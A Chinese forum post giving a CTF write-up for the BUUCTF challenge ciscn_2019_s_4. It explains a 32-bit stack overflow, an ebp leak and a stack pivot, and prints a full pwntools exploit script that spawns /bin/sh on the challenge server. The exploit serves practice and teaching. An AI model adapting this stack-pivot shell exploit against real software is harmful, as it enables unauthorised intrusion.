吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2374|回复: 6
收起左侧

[CTF] [栈迁移]ciscn_2019_s_4

  [复制链接]
bnuzgn 发表于 2023-8-21 23:24
题目来源

buuctf——ciscn_2019_s_4

参考链接

https://blog.csdn.net/mcmuyanga/article/details/112462462

题目信息

32位、ubuntu18

   
1.png

溢出点在vul函数中,溢出两次,均只能溢出两个机器字长。

   
2.png

hack函数中给出了system函数,但是参数不对。

   
3.png

可以直接使用call system。

   
4.png

解题步骤

考虑使用栈迁移,先得到ebp的值,然后动态调试得到ebp距离栈参数s的距离,本题为0x38,这样就可以将栈偏移到padding中。

关键步骤

1、得到ebp距离栈参数s的距离

在printf处打断点,0xffffd4c8-0xffffd490=0x38

   
5.png

2、接收ebp的地址值

由上图可得,ebp的地址不是以常见的0xf7为首的,因此需要自己打锚点,然后接收后四位,常用的
u32(r.recvuntil(b'\xf7')[-4:])是抓不到的。
[Python] 纯文本查看 复制代码
payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))

wp
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./ciscn_s_4"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",26327)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

leave_ret = 0x080484b8
system_plt = elf.plt['system']
system_call = 0x08048559
lg('system_plt')

payload = b'a'*0x24 + b'bbbb'
sd(payload)
ru("bbbb")
ebp_addr = u32(r.recv(4))
lg('ebp_addr')
buff = ebp_addr - 0x38
payload = (p32(system_plt)+p32(system_plt)+p32(buff+12)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
#使用system_call可以不用接返回地址
#payload = (p32(system_call)+p32(buff+8)+b'/bin/sh\x00').ljust(0x28,b'a') + p32(buff-4) + p32(leave_ret)
sd(payload)
ti()

免费评分

参与人数 2吾爱币 +8 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

13739666050 发表于 2023-8-22 00:26
kjfaksjfajsfnkjabksjnfbjkbrkjbgkjdbfmds ,manf jw4n;otinq/l knq

免费评分

参与人数 1吾爱币 -20 违规 +1 收起 理由
Hmily -20 + 1 请勿灌水,提高回帖质量是每位会员应尽的义务!

查看全部评分

tp206555 发表于 2023-8-22 12:57
Study0588 发表于 2023-8-22 13:01
tanzheng751230 发表于 2023-8-22 13:07
感谢楼主分享,
tafeita 发表于 2023-8-23 00:11
干货,学习了,谢谢楼主!
Study0588 发表于 2023-8-23 14:09
学习了,谢谢楼主!
头像被屏蔽
hz042 发表于 2023-8-24 18:09
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:22

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表